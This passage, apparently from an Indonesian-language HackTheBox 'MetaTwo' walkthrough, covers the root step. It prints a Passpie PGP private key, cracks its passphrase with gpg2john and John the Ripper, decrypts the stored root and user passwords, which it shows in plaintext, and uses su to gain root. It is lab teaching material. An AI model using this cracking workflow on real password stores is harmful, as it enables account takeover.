hhS8iMUu4xycHd3V0/j8q08RfqHUOmkhIU+CWawpORH+/+2hjB+FHF7olq4EzxYg
6L4nAAMFA/4ukPrKvhWaZT2pJGlju4QQvDXQlrASiEHD6maMqBGO5tJqbkp+DJtM
F9UoDa53FBRFEeqclY6kQUxnzz48C5WsOc31fq+6vj/40w9PbrGGBYJaiY/zouO1
FU9d04WCssSi9J5/BiYiRwFqhMRXqvHg9tqUyKLnsq8mwn0Scc5SVYh4BBgRCAAg
FiEEfGeGp1YbyE9QSGceOHd1w1dF0gMFAmK4V9YCGwwACgkQOHd1w1dF0gOm5gD9
GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+Po3KGdNgA/04lhPjdN3wrzjU3qmrL
fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQUBBGK4V9YRDADENdPyGOxVM7hcLSHfXg+21dENGedjYV1gf9cZabjq6v440NA1
AiJBBC1QUbIHmaBrxngkbu/DD0gzCEWEr2pFusr/Y3yY4codzmteOW6Rg2URmxMD
/GYn9FIjUAWqnfdnttBbvBjseL4sECpmgxTIjKbWAXlqgEgNjXD306IweEy2FOho
3LpAXxfk8C/qUCKcpxaz0G2k0do4+VTKZ+5UDpqM5++soJqhCrUYudb9zyVyXTpT
ZjMvyXe5NeC7JhBCKh+/Wqc4xyBcwhDdW+WU54vuFUthn+PUubEN1m+s13BkyvHV
gNAM4v6terRItXdKvgvHtJxE0vhlNSjFAedACHC4sN+dRqFu4li8XPIVYGkuK9pX
5xA6Nj+8UYRoZrP4SYtaDslT63ZaLd2MvwP+xMw2XEv8Uj3TGq6BIVWmajbsqkEp
tQkU7d+nPt1aw2sA265vrIzry02NAhxL9YQGNJmXFbZ0p8cT3CswedP8XONmVdxb
a1UfdG+soO3jtQsBAKbYl2yF/+D81v+42827iqO6gqoxHbc/0epLqJ+Lbl8hC/sG
WIVdy+jynHb81B3FIHT832OVi2hTCT6vhfTILFklLMxvirM6AaEPFhxIuRboiEQw
8lQMVtA1l+Et9FXS1u91h5ZL5PoCfhqpjbFD/VcC5I2MhwL7n50ozVxkW2wGAPfh
cODmYrGiXf8dle3z9wg9ltx25XLsVjoR+VLm5Vji85konRVuZ7TKnL5oXVgdaTML
qIGqKLQfhHwTdvtYOTtcxW3tIdI16YhezeoUioBWY1QM5z84F92UVz6aRzSDbc/j
FJOmNTe7+ShRRAAPu2qQn1xXexGXY2BFqAuhzFpO/dSidv7/UH2+x33XIUX1bPXH
FqSg+11VAfq3bgyBC1bXlsOyS2J6xRp31q8wJzUSlidodtNZL6APqwrYNhfcBEuE
PnItMPJS2j0DG2V8IAgFnsOgelh9ILU/OfCA4pD4f8QsB3eeUbUt90gmUa8wG7uM
FKZv0I+r9CBwjTK3bg/rFOo+DJKkN3hAfkARgU77ptuTJEYsfmho84ZaR3KSpX4L
/244aRzuaTW75hrZCJ4RxWxh8vGw0+/kPVDyrDc0XNv6iLIMt6zJGddVfRsFmE3Y
q2wOX/RzICWMbdreuQPuF0CkcvvHMeZX99Z3pEzUeuPu42E6JUj9DTYO8QJRDFr+
F2mStGpiqEOOvVmjHxHAduJpIgpcF8z18AosOswa8ryKg3CS2xQGkK84UliwuPUh
S8wCQQxveke5/IjbgE6GQOlzhpMUwzih7+15hEJVFdNZnbEC9K/ATYC/kbJSrbQM
RfcJUrnjPpDFgF6sXQJuNuPdowc36zjE7oIiD69ixGR5UjhvVy6yFlESuFzrwyeu
TDl0UOR6wikHa7tF/pekX317ZcRbWGOVr3BXYiFPTuXYBiX4+VG1fM5j3DCIho20
oFbEfVwnsTP6xxG2sJw48Fd+mKSMtYLDH004SoiSeQ8kTxNJeLxMiU8yaNX8Mwn4
V9fOIdsfks7Bv8uJP/lnKcteZjqgBnXPN6ESGjG1cbVfDsmVacVYL6bD4zn6ZN/n
WP4HAwKQfLVcyzeqrf8h02o0Q7OLrTXfDw4sd/a56XWRGGeGJgkRXzAqPQGWrsDC
6/eahMAwMFbfkhyWXlifgtfdcQme2XSUCNWtF6RCEAbYm0nAtDNQYXNzcGllIChB
dXRvLWdlbmVyYXRlZCBieSBQYXNzcGllKSA8cGFzc3BpZUBsb2NhbD6IkAQTEQgA
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AgMBAh4BAheAAAoJEDh3dcNXRdIDRFQA/3V6S3ad2W9c1fq62+X7TcuCaKWkDk4e
qalFZ3bhSFVIAP4qI7yXjBXZU4+Rd+gZKp77UNFdqcCyhGl1GpAJyyERDZ0BXwRi
uFfWEAQAhBp/xWPRH6n+PLXwJf0OL8mXGC6bh2gUeRO2mpFkFK4zXE5SE0znwn9J
CBcYy2EePd5ueDYC9iN3H7BYlhAUaRvlU7732CY6Tbw1jbmGFLyIxS7jHJwd3dXT
+PyrTxF+odQ6aSEhT4JZrCk5Ef7/7aGMH4UcXuiWrgTPFiDovicAAwUD/i6Q+sq+
FZplPakkaWO7hBC8NdCWsBKIQcPqZoyoEY7m0mpuSn4Mm0wX1SgNrncUFEUR6pyV
jqRBTGfPPjwLlaw5zfV+r7q+P/jTD09usYYFglqJj/Oi47UVT13ThYKyxKL0nn8G
JiJHAWqExFeq8eD22pTIoueyrybCfRJxzlJV/gcDAsPttfCSRgia/1PrBxACO3+4
VxHfI4p2KFuza9hwok3jrRS7D9CM51fK/XJkMehVoVyvetNXwXUotoEYeqoDZVEB
J2h0nXerWPkNKRrrfYh4BBgRCAAgFiEEfGeGp1YbyE9QSGceOHd1w1dF0gMFAmK4
V9YCGwwACgkQOHd1w1dF0gOm5gD9GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+P
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----

Sekarang kita gpg2john file tersebut, dekripsi hashnya dan lihat kata sandinya

Terminal window
┌──(root㉿yupy)-[~/yp/hackthebox/MetaTwo]
└─# john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
blink182 (Passpie)
Session completed

Ada file root.pass yang berantakan, kita bentuk dan taruh di /dev/shm sebagai new.pass

Terminal window
jnelson@meta2:~/.passpie/ssh$ cat root.pass
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: '-----BEGIN PGP MESSAGE-----
hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2
nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km
yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED
/2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf
iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg
krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw
mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr
lpF0RatbxQGWBks5F3o=
=uh1B
-----END PGP MESSAGE-----
'
Terminal window
jnelson@meta2:/dev/shm$ cat new.pass
-----BEGIN PGP MESSAGE-----
hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2
nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km
yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED
/2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf
iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg
krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw
mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr
lpF0RatbxQGWBks5F3o=
=uh1B
-----END PGP MESSAGE-----

Kami mendekripsi pesan dengan passpie dan saat membaca file lagi kami dapat melihat kata sandi

Terminal window
jnelson@meta2:/dev/shm$ passpie export new.pass
Passphrase: blink182
jnelson@meta2:/dev/shm$ cat new.pass
credentials:
- comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
fullname: jnelson@ssh
login: jnelson
modified: 2022-06-26 08:58:15.514422
name: ssh
password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0
jnelson@meta2:/dev/shm$

Kami dapat melakukan root menggunakan kata sandi itu dan menyelesaikan mesin

Terminal window
jnelson@meta2:/dev/shm$ su root
Password: p7qfAZt4_A1xo_0x
root@meta2:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@meta2:/dev/shm# whoami
root
root@meta2:/dev/shm# cd /root
root@meta2:~# ls
restore root.txt
root@meta2:~# cat root.txt
f*******************************7
root@meta2:~#

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